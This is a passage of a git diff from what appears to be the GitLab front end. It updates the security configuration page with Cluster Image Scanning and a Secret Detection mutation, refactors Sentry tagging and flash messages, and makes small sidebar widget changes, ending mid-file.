[REPORT_TYPE_API_FUZZING]: Upgrade,
[REPORT_TYPE_LICENSE_COMPLIANCE]: Upgrade,
diff --git a/app/assets/javascripts/security_configuration/components/constants.js b/app/assets/javascripts/security_configuration/components/constants.js
index 142dade914b..5cb9277040d 100644
--- a/app/assets/javascripts/security_configuration/components/constants.js
+++ b/app/assets/javascripts/security_configuration/components/constants.js
@@ -1,7 +1,6 @@
import { helpPagePath } from '~/helpers/help_page_helper';
import { __, s__ } from '~/locale';
-import configureSastMutation from '~/security_configuration/graphql/configure_sast.mutation.graphql';
import {
REPORT_TYPE_SAST,
REPORT_TYPE_DAST,
@@ -9,11 +8,15 @@ import {
REPORT_TYPE_SECRET_DETECTION,
REPORT_TYPE_DEPENDENCY_SCANNING,
REPORT_TYPE_CONTAINER_SCANNING,
+ REPORT_TYPE_CLUSTER_IMAGE_SCANNING,
REPORT_TYPE_COVERAGE_FUZZING,
REPORT_TYPE_API_FUZZING,
REPORT_TYPE_LICENSE_COMPLIANCE,
} from '~/vue_shared/security_reports/constants';
+import configureSastMutation from '../graphql/configure_sast.mutation.graphql';
+import configureSecretDetectionMutation from '../graphql/configure_secret_detection.mutation.graphql';
+
/**
* Translations & helpPagePaths for Static Security Configuration Page
*/
@@ -34,8 +37,8 @@ export const DAST_CONFIG_HELP_PATH = helpPagePath('user/application_security/das
});
export const DAST_PROFILES_NAME = __('DAST Scans');
-export const DAST_PROFILES_DESCRIPTION = __(
- 'Saved scan settings and target site settings which are reusable.',
+export const DAST_PROFILES_DESCRIPTION = s__(
+ 'SecurityConfiguration|Manage profiles for use by DAST scans.',
);
export const DAST_PROFILES_HELP_PATH = helpPagePath('user/application_security/dast/index');
export const DAST_PROFILES_CONFIG_TEXT = s__('SecurityConfiguration|Manage scans');
@@ -76,6 +79,18 @@ export const CONTAINER_SCANNING_CONFIG_HELP_PATH = helpPagePath(
{ anchor: 'configuration' },
);
+export const CLUSTER_IMAGE_SCANNING_NAME = s__('ciReport|Cluster Image Scanning');
+export const CLUSTER_IMAGE_SCANNING_DESCRIPTION = __(
+ 'Check your Kubernetes cluster images for known vulnerabilities.',
+);
+export const CLUSTER_IMAGE_SCANNING_HELP_PATH = helpPagePath(
+ 'user/application_security/cluster_image_scanning/index',
+);
+export const CLUSTER_IMAGE_SCANNING_CONFIG_HELP_PATH = helpPagePath(
+ 'user/application_security/cluster_image_scanning/index',
+ { anchor: 'configuration' },
+);
+
export const COVERAGE_FUZZING_NAME = __('Coverage Fuzzing');
export const COVERAGE_FUZZING_DESCRIPTION = __(
'Find bugs in your code with coverage-guided fuzzing.',
@@ -132,6 +147,12 @@ export const scanners = [
type: REPORT_TYPE_CONTAINER_SCANNING,
},
{
+ name: CLUSTER_IMAGE_SCANNING_NAME,
+ description: CLUSTER_IMAGE_SCANNING_DESCRIPTION,
+ helpPath: CLUSTER_IMAGE_SCANNING_HELP_PATH,
+ type: REPORT_TYPE_CLUSTER_IMAGE_SCANNING,
+ },
+ {
name: SECRET_DETECTION_NAME,
description: SECRET_DETECTION_DESCRIPTION,
helpPath: SECRET_DETECTION_HELP_PATH,
@@ -195,6 +216,10 @@ export const securityFeatures = [
helpPath: DEPENDENCY_SCANNING_HELP_PATH,
configurationHelpPath: DEPENDENCY_SCANNING_CONFIG_HELP_PATH,
type: REPORT_TYPE_DEPENDENCY_SCANNING,
+
+ // This field will eventually come from the backend, the progress is
+ // tracked in https://gitlab.com/gitlab-org/gitlab/-/issues/331621
+ canEnableByMergeRequest: window.gon.features?.secDependencyScanningUiEnable,
},
{
name: CONTAINER_SCANNING_NAME,
@@ -204,12 +229,28 @@ export const securityFeatures = [
type: REPORT_TYPE_CONTAINER_SCANNING,
},
{
+ name: CLUSTER_IMAGE_SCANNING_NAME,
+ description: CLUSTER_IMAGE_SCANNING_DESCRIPTION,
+ helpPath: CLUSTER_IMAGE_SCANNING_HELP_PATH,
+ configurationHelpPath: CLUSTER_IMAGE_SCANNING_CONFIG_HELP_PATH,
+ type: REPORT_TYPE_CLUSTER_IMAGE_SCANNING,
+ },
+ {
name: SECRET_DETECTION_NAME,
description: SECRET_DETECTION_DESCRIPTION,
helpPath: SECRET_DETECTION_HELP_PATH,
configurationHelpPath: SECRET_DETECTION_CONFIG_HELP_PATH,
type: REPORT_TYPE_SECRET_DETECTION,
+
+ // This field is currently hardcoded because Secret Detection is always
+ // available. It will eventually come from the Backend, the progress is
+ // tracked in https://gitlab.com/gitlab-org/gitlab/-/issues/333113
available: true,
+
+ // This field is currently hardcoded because SAST can always be enabled via MR
+ // It will eventually come from the Backend, the progress is tracked in
+ // https://gitlab.com/gitlab-org/gitlab/-/issues/331621
+ canEnableByMergeRequest: true,
},
{
name: API_FUZZING_NAME,
@@ -247,4 +288,15 @@ export const featureToMutationMap = {
},
}),
},
+ [REPORT_TYPE_SECRET_DETECTION]: {
+ mutationId: 'configureSecretDetection',
+ getMutationPayload: (projectPath) => ({
+ mutation: configureSecretDetectionMutation,
+ variables: {
+ input: {
+ projectPath,
+ },
+ },
+ }),
+ },
};
diff --git a/app/assets/javascripts/security_configuration/components/feature_card.vue b/app/assets/javascripts/security_configuration/components/feature_card.vue
index 518a6ede3de..23cffde1f83 100644
--- a/app/assets/javascripts/security_configuration/components/feature_card.vue
+++ b/app/assets/javascripts/security_configuration/components/feature_card.vue
@@ -46,8 +46,7 @@ export default {
return button;
},
showManageViaMr() {
- const { available, configured, canEnableByMergeRequest } = this.feature;
- return canEnableByMergeRequest && available && !configured;
+ return ManageViaMr.canRender(this.feature);
},
cardClasses() {
return { 'gl-bg-gray-10': !this.available };
diff --git a/app/assets/javascripts/security_configuration/components/redesigned_app.vue b/app/assets/javascripts/security_configuration/components/redesigned_app.vue
index d8a12f4a792..915da378a4f 100644
--- a/app/assets/javascripts/security_configuration/components/redesigned_app.vue
+++ b/app/assets/javascripts/security_configuration/components/redesigned_app.vue
@@ -2,18 +2,22 @@
import { GlTab, GlTabs, GlSprintf, GlLink } from '@gitlab/ui';
import { __, s__ } from '~/locale';
import UserCalloutDismisser from '~/vue_shared/components/user_callout_dismisser.vue';
+import AutoDevOpsAlert from './auto_dev_ops_alert.vue';
import FeatureCard from './feature_card.vue';
import SectionLayout from './section_layout.vue';
import UpgradeBanner from './upgrade_banner.vue';
export const i18n = {
compliance: s__('SecurityConfiguration|Compliance'),
+ configurationHistory: s__('SecurityConfiguration|Configuration history'),
securityTesting: s__('SecurityConfiguration|Security testing'),
- securityTestingDescription: s__(
+ latestPipelineDescription: s__(
`SecurityConfiguration|The status of the tools only applies to the
- default branch and is based on the %{linkStart}latest pipeline%{linkEnd}.
- Once you've enabled a scan for the default branch, any subsequent feature
- branch you create will include the scan.`,
+ default branch and is based on the %{linkStart}latest pipeline%{linkEnd}.`,
+ ),
+ description: s__(
+ `SecurityConfiguration|Once you've enabled a scan for the default branch,
+ any subsequent feature branch you create will include the scan.`,
),
securityConfiguration: __('Security Configuration'),
};
@@ -28,6 +32,7 @@ export default {
FeatureCard,
SectionLayout,
UpgradeBanner,
+ AutoDevOpsAlert,
UserCalloutDismisser,
},
props: {
@@ -44,6 +49,16 @@ export default {
required: false,
default: false,
},
+ autoDevopsEnabled: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ canEnableAutoDevops: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
gitlabCiHistoryPath: {
type: String,
required: false,
@@ -64,16 +79,26 @@ export default {
canViewCiHistory() {
return Boolean(this.gitlabCiPresent && this.gitlabCiHistoryPath);
},
+ shouldShowDevopsAlert() {
+ return !this.autoDevopsEnabled && !this.gitlabCiPresent && this.canEnableAutoDevops;
+ },
},
};
</script>
<template>
<article>
+ <user-callout-dismisser
+ v-if="shouldShowDevopsAlert"
+ feature-name="security_configuration_devops_alert"
+ >
+ <template #default="{ dismiss, shouldShowCallout }">
+ <auto-dev-ops-alert v-if="shouldShowCallout" class="gl-mt-3" @dismiss="dismiss" />
+ </template>
+ </user-callout-dismisser>
<header>
<h1 class="gl-font-size-h1">{{ $options.i18n.securityConfiguration }}</h1>
</header>
-
<user-callout-dismisser v-if="canUpgrade" feature-name="security_configuration_upgrade_banner">
<template #default="{ dismiss, shouldShowCallout }">
<upgrade-banner v-if="shouldShowCallout" @close="dismiss" />
@@ -84,16 +109,19 @@ export default {
<gl-tab data-testid="security-testing-tab" :title="$options.i18n.securityTesting">
<section-layout :heading="$options.i18n.securityTesting">
<template #description>
- <p
- v-if="latestPipelinePath"
- data-testid="latest-pipeline-info-security"
- class="gl-line-height-20"
- >
- <gl-sprintf :message="$options.i18n.securityTestingDescription">
- <template #link="{ content }">
- <gl-link :href="latestPipelinePath">{{ content }}</gl-link>
- </template>
- </gl-sprintf>
+ <p>
+ <span data-testid="latest-pipeline-info-security">
+ <gl-sprintf
+ v-if="latestPipelinePath"
+ :message="$options.i18n.latestPipelineDescription"
+ >
+ <template #link="{ content }">
+ <gl-link :href="latestPipelinePath">{{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </span>
+
+ {{ $options.i18n.description }}
</p>
<p v-if="canViewCiHistory">
<gl-link data-testid="security-view-history-link" :href="gitlabCiHistoryPath">{{
@@ -106,6 +134,7 @@ export default {
<feature-card
v-for="feature in augmentedSecurityFeatures"
:key="feature.type"
+ data-testid="security-testing-card"
:feature="feature"
class="gl-mb-6"
/>
@@ -115,16 +144,19 @@ export default {
<gl-tab data-testid="compliance-testing-tab" :title="$options.i18n.compliance">
<section-layout :heading="$options.i18n.compliance">
<template #description>
- <p
- v-if="latestPipelinePath"
- class="gl-line-height-20"
- data-testid="latest-pipeline-info-compliance"
- >
- <gl-sprintf :message="$options.i18n.securityTestingDescription">
- <template #link="{ content }">
- <gl-link :href="latestPipelinePath">{{ content }}</gl-link>
- </template>
- </gl-sprintf>
+ <p>
+ <span data-testid="latest-pipeline-info-compliance">
+ <gl-sprintf
+ v-if="latestPipelinePath"
+ :message="$options.i18n.latestPipelineDescription"
+ >
+ <template #link="{ content }">
+ <gl-link :href="latestPipelinePath">{{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </span>
+
+ {{ $options.i18n.description }}
</p>
<p v-if="canViewCiHistory">
<gl-link data-testid="compliance-view-history-link" :href="gitlabCiHistoryPath">{{
diff --git a/app/assets/javascripts/security_configuration/components/section_layout.vue b/app/assets/javascripts/security_configuration/components/section_layout.vue
index 1e1f83a6d99..e351f9b9d8d 100644
--- a/app/assets/javascripts/security_configuration/components/section_layout.vue
+++ b/app/assets/javascripts/security_configuration/components/section_layout.vue
@@ -11,12 +11,12 @@ export default {
</script>
<template>
- <div class="row">
- <div class="col-lg-5">
+ <div class="row gl-line-height-20">
+ <div class="col-lg-4">
<h2 class="gl-font-size-h2 gl-mt-0">{{ heading }}</h2>
<slot name="description"></slot>
</div>
- <div class="col-lg-7">
+ <div class="col-lg-8">
<slot name="features"></slot>
</div>
</div>
diff --git a/app/assets/javascripts/security_configuration/graphql/configure_secret_detection.mutation.graphql b/app/assets/javascripts/security_configuration/graphql/configure_secret_detection.mutation.graphql
new file mode 100644
index 00000000000..e42a8de64f3
--- /dev/null
+++ b/app/assets/javascripts/security_configuration/graphql/configure_secret_detection.mutation.graphql
@@ -0,0 +1,6 @@
+mutation configureSecretDetection($input: ConfigureSecretDetectionInput!) {
+ configureSecretDetection(input: $input) {
+ successPath
+ errors
+ }
+}
diff --git a/app/assets/javascripts/security_configuration/index.js b/app/assets/javascripts/security_configuration/index.js
index e1dc6f24737..f05bd79258e 100644
--- a/app/assets/javascripts/security_configuration/index.js
+++ b/app/assets/javascripts/security_configuration/index.js
@@ -7,11 +7,7 @@ import { securityFeatures, complianceFeatures } from './components/constants';
import RedesignedSecurityConfigurationApp from './components/redesigned_app.vue';
import { augmentFeatures } from './utils';
-export const initStaticSecurityConfiguration = (el) => {
- if (!el) {
- return null;
- }
-
+export const initRedesignedSecurityConfiguration = (el) => {
Vue.use(VueApollo);
const apolloProvider = new VueApollo({
@@ -24,35 +20,60 @@ export const initStaticSecurityConfiguration = (el) => {
features,
latestPipelinePath,
gitlabCiHistoryPath,
+ autoDevopsHelpPagePath,
+ autoDevopsPath,
} = el.dataset;
- if (gon.features.securityConfigurationRedesign) {
- const { augmentedSecurityFeatures, augmentedComplianceFeatures } = augmentFeatures(
- securityFeatures,
- complianceFeatures,
- features ? JSON.parse(features) : [],
- );
+ const { augmentedSecurityFeatures, augmentedComplianceFeatures } = augmentFeatures(
+ securityFeatures,
+ complianceFeatures,
+ features ? JSON.parse(features) : [],
+ );
+
+ return new Vue({
+ el,
+ apolloProvider,
+ provide: {
+ projectPath,
+ upgradePath,
+ autoDevopsHelpPagePath,
+ autoDevopsPath,
+ },
+ render(createElement) {
+ return createElement(RedesignedSecurityConfigurationApp, {
+ props: {
+ augmentedComplianceFeatures,
+ augmentedSecurityFeatures,
+ latestPipelinePath,
+ gitlabCiHistoryPath,
+ ...parseBooleanDataAttributes(el, [
+ 'gitlabCiPresent',
+ 'autoDevopsEnabled',
+ 'canEnableAutoDevops',
+ ]),
+ },
+ });
+ },
+ });
+};
+
+export const initCESecurityConfiguration = (el) => {
+ if (!el) {
+ return null;
+ }
- return new Vue({
- el,
- apolloProvider,
- provide: {
- projectPath,
- upgradePath,
- },
- render(createElement) {
- return createElement(RedesignedSecurityConfigurationApp, {
- props: {
- augmentedComplianceFeatures,
- augmentedSecurityFeatures,
- latestPipelinePath,
- gitlabCiHistoryPath,
- ...parseBooleanDataAttributes(el, ['gitlabCiPresent']),
- },
- });
- },
- });
+ if (gon.features?.securityConfigurationRedesign) {
+ return initRedesignedSecurityConfiguration(el);
}
+
+ Vue.use(VueApollo);
+
+ const apolloProvider = new VueApollo({
+ defaultClient: createDefaultClient(),
+ });
+
+ const { projectPath, upgradePath } = el.dataset;
+
return new Vue({
el,
apolloProvider,
diff --git a/app/assets/javascripts/security_configuration/utils.js b/app/assets/javascripts/security_configuration/utils.js
index 071ebff4f21..ec6b93c6193 100644
--- a/app/assets/javascripts/security_configuration/utils.js
+++ b/app/assets/javascripts/security_configuration/utils.js
@@ -1,6 +1,8 @@
+import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
+
export const augmentFeatures = (securityFeatures, complianceFeatures, features = []) => {
const featuresByType = features.reduce((acc, feature) => {
- acc[feature.type] = feature;
+ acc[feature.type] = convertObjectPropsToCamelCase(feature, { deep: true });
return acc;
}, {});
diff --git a/app/assets/javascripts/self_monitor/components/self_monitor_form.vue b/app/assets/javascripts/self_monitor/components/self_monitor_form.vue
index c608c71714b..4c1f0d892af 100644
--- a/app/assets/javascripts/self_monitor/components/self_monitor_form.vue
+++ b/app/assets/javascripts/self_monitor/components/self_monitor_form.vue
@@ -82,7 +82,7 @@ export default {
text: this.alertContent.actionText,
onClick: (_, toastObject) => {
this[this.alertContent.actionName]();
- toastObject.goAway(0);
+ toastObject.hide();
},
},
};
diff --git a/app/assets/javascripts/sentry/index.js b/app/assets/javascripts/sentry/index.js
index a875ef84088..176745b4177 100644
--- a/app/assets/javascripts/sentry/index.js
+++ b/app/assets/javascripts/sentry/index.js
@@ -14,6 +14,7 @@ const index = function index() {
release: gon.revision,
tags: {
revision: gon.revision,
+ feature_category: gon.feature_category,
},
});
diff --git a/app/assets/javascripts/sentry/sentry_config.js b/app/assets/javascripts/sentry/sentry_config.js
index bc3b2f16a6a..a3a2c794a67 100644
--- a/app/assets/javascripts/sentry/sentry_config.js
+++ b/app/assets/javascripts/sentry/sentry_config.js
@@ -59,16 +59,18 @@ const SentryConfig = {
configure() {
const { dsn, release, tags, whitelistUrls, environment } = this.options;
+
Sentry.init({
dsn,
release,
- tags,
whitelistUrls,
environment,
ignoreErrors: this.IGNORE_ERRORS, // TODO: Remove in favor of https://gitlab.com/gitlab-org/gitlab/issues/35144
blacklistUrls: this.BLACKLIST_URLS,
sampleRate: SAMPLE_RATE,
});
+
+ Sentry.setTags(tags);
},
setUser() {
diff --git a/app/assets/javascripts/service_ping_consent.js b/app/assets/javascripts/service_ping_consent.js
new file mode 100644
index 00000000000..f145a1b30db
--- /dev/null
+++ b/app/assets/javascripts/service_ping_consent.js
@@ -0,0 +1,35 @@
+import $ from 'jquery';
+import createFlash, { hideFlash } from './flash';
+import axios from './lib/utils/axios_utils';
+import { parseBoolean } from './lib/utils/common_utils';
+import { __ } from './locale';
+
+export default () => {
+ $('body').on('click', '.js-service-ping-consent-action', (e) => {
+ e.preventDefault();
+ e.stopImmediatePropagation(); // overwrite rails listener
+
+ const { url, checkEnabled, servicePingEnabled } = e.target.dataset;
+ const data = {
+ application_setting: {
+ version_check_enabled: parseBoolean(checkEnabled),
+ service_ping_enabled: parseBoolean(servicePingEnabled),
+ },
+ };
+
+ const hideConsentMessage = () =>
+ hideFlash(document.querySelector('.service-ping-consent-message'));
+
+ axios
+ .put(url, data)
+ .then(() => {
+ hideConsentMessage();
+ })
+ .catch(() => {
+ hideConsentMessage();
+ createFlash({
+ message: __('Something went wrong. Try again later.'),
+ });
+ });
+ });
+};
diff --git a/app/assets/javascripts/sidebar/components/assignees/assignee_title.vue b/app/assets/javascripts/sidebar/components/assignees/assignee_title.vue
index adb573db652..4b3b22f6db3 100644
--- a/app/assets/javascripts/sidebar/components/assignees/assignee_title.vue
+++ b/app/assets/javascripts/sidebar/components/assignees/assignee_title.vue
@@ -47,7 +47,7 @@ export default {
<template>
<div class="hide-collapsed gl-line-height-20 gl-mb-2 gl-text-gray-900">
{{ assigneeTitle }}
- <gl-loading-icon v-if="loading" inline class="align-bottom" />
+ <gl-loading-icon v-if="loading" size="sm" inline class="align-bottom" />
<a
v-if="editable"
class="js-sidebar-dropdown-toggle edit-link float-right"
diff --git a/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees.vue b/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees.vue
index 9840aa4ed66..c6877226b7d 100644
--- a/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees.vue
+++ b/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees.vue
@@ -1,6 +1,6 @@
<script>
import { refreshUserMergeRequestCounts } from '~/commons/nav/user_merge_requests';
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import { __ } from '~/locale';
import eventHub from '~/sidebar/event_hub';
import Store from '~/sidebar/stores/sidebar_store';
@@ -113,7 +113,9 @@ export default {
})
.catch(() => {
this.loading = false;
- return new Flash(__('Error occurred when saving assignees'));
+ return createFlash({
+ message: __('Error occurred when saving assignees'),
+ });
});
},
exposeAvailabilityStatus(users) {
diff --git a/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees_widget.vue b/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees_widget.vue
index d9a974202a3..1dd05d3886e 100644
--- a/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees_widget.vue
+++ b/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees_widget.vue
@@ -3,6 +3,7 @@ import { GlDropdownItem } from '@gitlab/ui';
import { cloneDeep } from 'lodash';
import Vue from 'vue';
import createFlash from '~/flash';
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import { IssuableType } from '~/issue_show/constants';
import { __, n__ } from '~/locale';
import SidebarAssigneesRealtime from '~/sidebar/components/assignees/assignees_realtime.vue';
@@ -80,6 +81,8 @@ export default {
selected: [],
isSettingAssignees: false,
isDirty: false,
+ oldIid: null,
+ oldSelected: null,
};
},
apollo: {
@@ -142,6 +145,14 @@ export default {
return this.currentUser.username !== undefined;
},
},
+ watch: {
+ iid(_, oldIid) {
+ if (this.isDirty) {
+ this.oldIid = oldIid;
+ this.oldSelected = this.selected;
+ }
+ },
+ },
created() {
assigneesWidget.updateAssignees = this.updateAssignees;
},
@@ -157,10 +168,14 @@ export default {
variables: {
...this.queryVariables,
assigneeUsernames,
+ iid: this.oldIid || this.iid,
},
})
.then(({ data }) => {
- this.$emit('assignees-updated', data.issuableSetAssignees.issuable.assignees.nodes);
+ this.$emit('assignees-updated', {
+ id: getIdFromGraphQLId(data.issuableSetAssignees.issuable.id),
+ assignees: data.issuableSetAssignees.issuable.assignees.nodes,
+ });
return data;
})
.catch(() => {
@@ -176,7 +191,10 @@ export default {
saveAssignees() {
if (this.isDirty) {
this.isDirty = false;
- this.updateAssignees(this.selected.map(({ username }) => username));
+ const usernames = this.oldSelected || this.selected;
+ this.updateAssignees(usernames.map(({ username }) => username));
+ this.oldIid = null;
+ this.oldSelected = null;
}
this.$el.dispatchEvent(hideDropdownEvent);
},
diff --git a/app/assets/javascripts/sidebar/components/assignees/user_name_with_status.vue b/app/assets/javascripts/sidebar/components/assignees/user_name_with_status.vue
index 41b3b6c9a45..bed84dc5706 100644
--- a/app/assets/javascripts/sidebar/components/assignees/user_name_with_status.vue
+++ b/app/assets/javascripts/sidebar/components/assignees/user_name_with_status.vue
@@ -22,8 +22,16 @@ export default {
required: false,
default: '',
},
+ pronouns: {
+ type: String,
+ required: false,
+ default: '',
+ },
},
computed: {
+ hasPronouns() {
+ return this.pronouns !== null && this.pronouns.trim() !== '';
+ },
isBusy() {
return isUserBusy(this.availability);
},
@@ -32,9 +40,18 @@ export default {
</script>
<template>
<span :class="containerClasses">
- <gl-sprintf v-if="isBusy" :message="s__('UserAvailability|%{author} (Busy)')">
- <template #author>{{ name }}</template>
+ <gl-sprintf :message="s__('UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}')">
+ <template #author
+ >{{ name }}
+ <span v-if="hasPronouns" class="gl-text-gray-500 gl-font-sm gl-font-weight-normal"
+ >({{ pronouns }})</span
+ ></template
+ >
+ <template #span="{ content }"
+ ><span v-if="isBusy" class="gl-text-gray-500 gl-font-sm gl-font-weight-normal">{{
+ content
+ }}</span>
+ </template>
</gl-sprintf>
- <template v-else>{{ name }}</template>
</span>
</template>
diff --git a/app/assets/javascripts/sidebar/components/confidential/sidebar_confidentiality_widget.vue b/app/assets/javascripts/sidebar/components/confidential/sidebar_confidentiality_widget.vue
index 372368707af..dc0f2b54a7b 100644
--- a/app/assets/javascripts/sidebar/components/confidential/sidebar_confidentiality_widget.vue
+++ b/app/assets/javascripts/sidebar/components/confidential/sidebar_confidentiality_widget.vue
@@ -4,7 +4,7 @@ import Vue from 'vue';
import createFlash from '~/flash';
import { __, sprintf } from '~/locale';
import SidebarEditableItem from '~/sidebar/components/sidebar_editable_item.vue';
-import { confidentialityQueries } from '~/sidebar/constants';
+import { confidentialityQueries, Tracking } from '~/sidebar/constants';
import SidebarConfidentialityContent from './sidebar_confidentiality_content.vue';
import SidebarConfidentialityForm from './sidebar_confidentiality_form.vue';
@@ -18,8 +18,8 @@ const hideDropdownEvent = new CustomEvent('hiddenGlDropdown', {
export default {
tracking: {
- event: 'click_edit_button',
- label: 'right_sidebar',
+ event: Tracking.editEvent,
+ label: Tracking.rightSidebarLabel,
property: 'confidentiality',
},
components: {
diff --git a/app/assets/javascripts/sidebar/components/date/sidebar_date_widget.vue b/app/assets/javascripts/sidebar/components/date/sidebar_date_widget.vue
index c3dfa5f8b14..1ff24dec884 100644
--- a/app/assets/javascripts/sidebar/components/date/sidebar_date_widget.vue
+++ b/app/assets/javascripts/sidebar/components/date/sidebar_date_widget.vue
@@ -5,7 +5,13 @@ import { IssuableType } from '~/issue_show/constants';
import { dateInWords, formatDate, parsePikadayDate } from '~/lib/utils/datetime_utility';
import { __, sprintf } from '~/locale';
import SidebarEditableItem from '~/sidebar/components/sidebar_editable_item.vue';
-import { dateFields, dateTypes, dueDateQueries, startDateQueries } from '~/sidebar/constants';
+import {
+ dateFields,
+ dateTypes,
+ dueDateQueries,
+ startDateQueries,
+ Tracking,
+} from '~/sidebar/constants';
import SidebarFormattedDate from './sidebar_formatted_date.vue';
import SidebarInheritDate from './sidebar_inherit_date.vue';
@@ -15,8 +21,8 @@ const hideDropdownEvent = new CustomEvent('hiddenGlDropdown', {
export default {
tracking: {
- event: 'click_edit_button',
- label: 'right_sidebar',
+ event: Tracking.editEvent,
+ label: Tracking.rightSidebarLabel,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -149,6 +155,9 @@ export default {
},
},
methods: {
+ epicDatePopoverEl() {
+ return this.$refs?.epicDatePopover?.$el;
+ },
closeForm() {
this.$refs.editable.collapse();
this.$el.dispatchEvent(hideDropdownEvent);
@@ -249,12 +258,7 @@ export default {
:aria-label="$options.i18n.help"
data-testid="inherit-date-popover"
/>
- <gl-popover
- :target="() => $refs.epicDatePopover.$el"
- triggers="focus"
- placement="left"
- boundary="viewport"
- >
+ <gl-popover :target="epicDatePopoverEl" triggers="focus" placement="left" boundary="viewport">
<p>{{ $options.i18n.dateHelpValidMessage }}</p>
<gl-link :href="$options.dateHelpUrl" target="_blank">{{
$options.i18n.learnMore
diff --git a/app/assets/javascripts/sidebar/components/lock/edit_form_buttons.vue b/app/assets/javascripts/sidebar/components/lock/edit_form_buttons.vue
index c3f31a3d220..42d2e456a07 100644
--- a/app/assets/javascripts/sidebar/components/lock/edit_form_buttons.vue
+++ b/app/assets/javascripts/sidebar/components/lock/edit_form_buttons.vue
@@ -2,7 +2,7 @@
import { GlButton } from '@gitlab/ui';
import $ from 'jquery';
import { mapActions } from 'vuex';
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import { __, sprintf } from '../../../locale';
import eventHub from '../../event_hub';
@@ -52,7 +52,9 @@ export default {
const flashMessage = __(
'Something went wrong trying to change the locked state of this %{issuableDisplayName}',
);
- Flash(sprintf(flashMessage, { issuableDisplayName: this.issuableDisplayName }));
+ createFlash({
+ message: sprintf(flashMessage, { issuableDisplayName: this.issuableDisplayName }),
+ });
})
.finally(() => {
this.closeForm();
diff --git a/app/assets/javascripts/sidebar/components/participants/participants.vue b/app/assets/javascripts/sidebar/components/participants/participants.vue
index e85e416881c..650aa603f18 100644
--- a/app/assets/javascripts/sidebar/components/participants/participants.vue
+++ b/app/assets/javascripts/sidebar/components/participants/participants.vue
@@ -92,11 +92,11 @@ export default {
@click="onClickCollapsedIcon"
>
<gl-icon name="users" />
- <gl-loading-icon v-if="loading" />
+ <gl-loading-icon v-if="loading" size="sm" />
<span v-else data-testid="collapsed-count"> {{ participantCount }} </span>
</div>
<div v-if="showParticipantLabel" class="title hide-collapsed gl-mb-2">
- <gl-loading-icon v-if="loading" :inline="true" />
+ <gl-loading-icon v-if="loading" size="sm" :inline="true" />
{{ participantLabel }}
</div>
<div class="participants-list hide-collapsed">
diff --git a/app/assets/javascripts/sidebar/components/reviewers/reviewer_title.vue b/app/assets/javascripts/sidebar/components/reviewers/reviewer_title.vue
index 88c0b18ccc7..295027186cc 100644
--- a/app/assets/javascripts/sidebar/components/reviewers/reviewer_title.vue
+++ b/app/assets/javascripts/sidebar/components/reviewers/reviewer_title.vue
@@ -35,7 +35,7 @@ export default {
<template>
<div class="hide-collapsed gl-line-height-20 gl-mb-2 gl-text-gray-900">
{{ reviewerTitle }}
- <gl-loading-icon v-if="loading" inline class="align-bottom" />
+ <gl-loading-icon v-if="loading" size="sm" inline class="align-bottom" />
<a
v-if="editable"
class="js-sidebar-dropdown-toggle edit-link float-right"
diff --git a/app/assets/javascripts/sidebar/components/reviewers/sidebar_reviewers.vue b/app/assets/javascripts/sidebar/components/reviewers/sidebar_reviewers.vue
index c0bd54c60da..e414aaf719b 100644
--- a/app/assets/javascripts/sidebar/components/reviewers/sidebar_reviewers.vue
+++ b/app/assets/javascripts/sidebar/components/reviewers/sidebar_reviewers.vue
@@ -2,7 +2,7 @@
// NOTE! For the first iteration, we are simply copying the implementation of Assignees
// It will soon be overhauled in Issue https://gitlab.com/gitlab-org/gitlab/-/issues/233736
import { refreshUserMergeRequestCounts } from '~/commons/nav/user_merge_requests';
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import { __ } from '~/locale';
import eventHub from '~/sidebar/event_hub';
import Store from '~/sidebar/stores/sidebar_store';
@@ -80,7 +80,9 @@ export default {
})
.catch(() => {
this.loading = false;
- return new Flash(__('Error occurred when saving reviewers'));
+ return createFlash({
+ message: __('Error occurred when saving reviewers'),
+ });
});
},
requestReview(data) {
diff --git a/app/assets/javascripts/sidebar/components/severity/sidebar_severity.vue b/app/assets/javascripts/sidebar/components/severity/sidebar_severity.vue
index 592cfea5e32..fdf63c23552 100644
--- a/app/assets/javascripts/sidebar/components/severity/sidebar_severity.vue
+++ b/app/assets/javascripts/sidebar/components/severity/sidebar_severity.vue
@@ -181,7 +181,7 @@ export default {
</gl-dropdown-item>
</gl-dropdown>
- <gl-loading-icon v-if="isUpdating" :inline="true" />
+ <gl-loading-icon v-if="isUpdating" size="sm" :inline="true" />
<severity-token v-else-if="!isDropdownShowing" :severity="selectedItem" />
</div>
diff --git a/app/assets/javascripts/sidebar/components/sidebar_dropdown_widget.vue b/app/assets/javascripts/sidebar/components/sidebar_dropdown_widget.vue
index c80ccc928b3..2e00a23de7c 100644
--- a/app/assets/javascripts/sidebar/components/sidebar_dropdown_widget.vue
+++ b/app/assets/javascripts/sidebar/components/sidebar_dropdown_widget.vue
@@ -16,11 +16,13 @@ import { IssuableType } from '~/issue_show/constants';
import { __, s__, sprintf } from '~/locale';
import SidebarEditableItem from '~/sidebar/components/sidebar_editable_item.vue';
import {
+ Tracking,
IssuableAttributeState,
IssuableAttributeType,
issuableAttributesQueries,
noAttributeId,
-} from '../constants';
+ defaultEpicSort,
+} from '~/sidebar/constants';
export default {
noAttributeId,
@@ -28,6 +30,7 @@ export default {
issuableAttributesQueries,
i18n: {
[IssuableAttributeType.Milestone]: __('Milestone'),
+ expired: __('(expired)'),
none: __('None'),
},
directives: {
@@ -73,9 +76,14 @@ export default {
type: String,
required: true,
validator(value) {
